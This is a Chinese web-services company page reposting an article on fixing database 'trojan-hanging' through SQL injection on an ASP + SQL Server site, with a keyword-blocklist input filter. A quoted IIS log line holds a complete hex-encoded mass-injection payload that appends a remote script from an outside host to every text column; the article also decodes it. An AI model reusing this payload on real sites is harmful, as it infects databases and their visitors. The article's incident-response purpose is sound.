首页  |  行业资讯  |  关于我们  |  网站建设  |  SEO网站优化  |  域名注册  |  虚拟主机  |  SEO营销知识  |  网站建设知识  |  合作流程  |  联系方式
Website 网站建设>>
 
SEO 网站优化>>
  对于企业来说,站点有效访问量的第一来源是搜索引擎。我们为您提供切实可行的全套网络营销及针对搜索引擎 Google Baidu 的全套排名服务,提高贵公司的网站访问量,产品销和知名度,打造相关领域的最强势品牌。
Hosting 虚拟主机>>



Domain 域名注册>>
特别推荐
注册 .cn|.net.cn|.net.cn|.org.cn
域名首年注册费均为:10元/年/个
.com国际域名注册费:130元/年/个
.mobi手机域名注册费:160元
其它域名或国外域名敬请电话咨询

 
 
 网站建设知识
网站数据库挂马的解决方法
欧亚动力 来源:aspxhome
前段时间,公司一个主要的网站数据库中个别表的数据经常被修改并挂马,由于网站是以前别人做的,代码有点乱,所以只看了与这几个表相关的文件代码。原因可能是接收参数的时候没有过滤危险字符,于是就加上了接受参数的格式化函数,数据库连接文件中也把接受参数时出现的“;”替换成“;”了。但是过了一天,又被挂马,分号替换没有起到作用。

于是搜索了一下,发现从3月份开始很多数据库SQL注入挂马的例子,看来这段时间这种挂马手段很流行,并且只是针对Asp+Sql Server的网站,只有你网站代码存在SQL注入的漏洞,就可能会被挂马,而且只针对文本型的字段char/text类似的字段,修改之后的数据后面基本上都是js,1.js,b.js等,而且里面的网址经常改变。

无奈,只能先找防止SQL注入的方法,在网上搜索到以下代码,把该代码加到数据库连接文件中:

<% 
Response.Buffer = True 
Const EnableStopInjection = True 
If EnableStopInjection = True Then 
    If Request.QueryString <> "" Then Call StopInjection(Request.QueryString) 
    If Request.Cookies <> "" Then Call StopInjection(Request.Cookies) 
    If Request.Form <> "" Then Call StopInjection(Request.Form) 
End If 
Sub StopInjection(Values) 
Dim regEx 
Set regEx = New RegExp 
    regEx.IgnoreCase = True 
    regEx.Global = True 
    regEx.Pattern = "’|;|#|([\s\b+()]+(select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b+]*)" 
    Dim sItem, sValue 
    For Each sItem In Values 
        sValue = Values(sItem) 
        If regEx.Test(sValue) Then 
            Response.Write "检测到SQL注入危险, 请确认你提交的信息。" 
            Response.End 
        End If 
    Next 
    Set regEx = Nothing 
End Sub 
%>
注意:regEx.Pattern中的值根据你的需要设置,如设置不当,则一般提交的信息也会提示有SQL注入。

加上这段代码之后就再也没有出现被注入挂马的现象。

前几天,从空间商那要IIS日志,查看日志才发现被SQL注入的具体网址与方法,如下:

2008-06-23 16:01:31 GET /xxx.asp id=90;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E616477626E722E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);-- - 201.8.166.17 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) - www.xxx.com 200 0 271 1432 406

中间那段代码解密之后就是:


DECLARE @T varchar(255), 
@C varchar(255) 
DECLARE Table_Cursor CURSOR FOR 
Select 
a.name,b.name 
from sysobjects a, 
syscolumns b 
where a.id=b.id and 
a.xtype=’u’ and 
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
exec(’update [’+@T+’] set [’+@C+’]= 
rtrim(convert(varchar,[’+@C+’]))+ 
”挂马内容”’) 
FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor
并且,这个SQL注入隔几分钟一次,而且不停地更换IP,根本就无法查到它的真实来源,可见这种人多么卑鄙。

如果网站IIS日志比较大,则可以考虑chxwei前几天写的“IIS网站日志导入分析工具”帮你查询分析。

最后总结一下,如果数据库数据库被修改并挂马:

1、先看IIS日志,被注入的页面是哪些,然后修改那些页面的代码,防止SQL注入。
  2、如果没有IIS日志,也找不到被利用的页面,那就使用上面说的在数据库连接文件中加入那些代码。

出现SQL注入,肯定是网站代码存在漏洞,所以代码规范化才是重点。



相关连接: 网站建设 网站制作 SEO

上一篇: 欧亚动力网上商城网站建设方案
下一篇: SEO应该做好网站编辑的培训工作
 

版权所有 欧亚动力网站建设与营销中心
Copy Right 2007 Eaweb.com.cn Century Websites Development Center
咨询电话:010-67535639、Email:eaweb@yahoo.cn  
24小时咨询:网站建设、网站策划:1352 1868 566,SEO网站优化、网站推广服务专线:1500 1062 201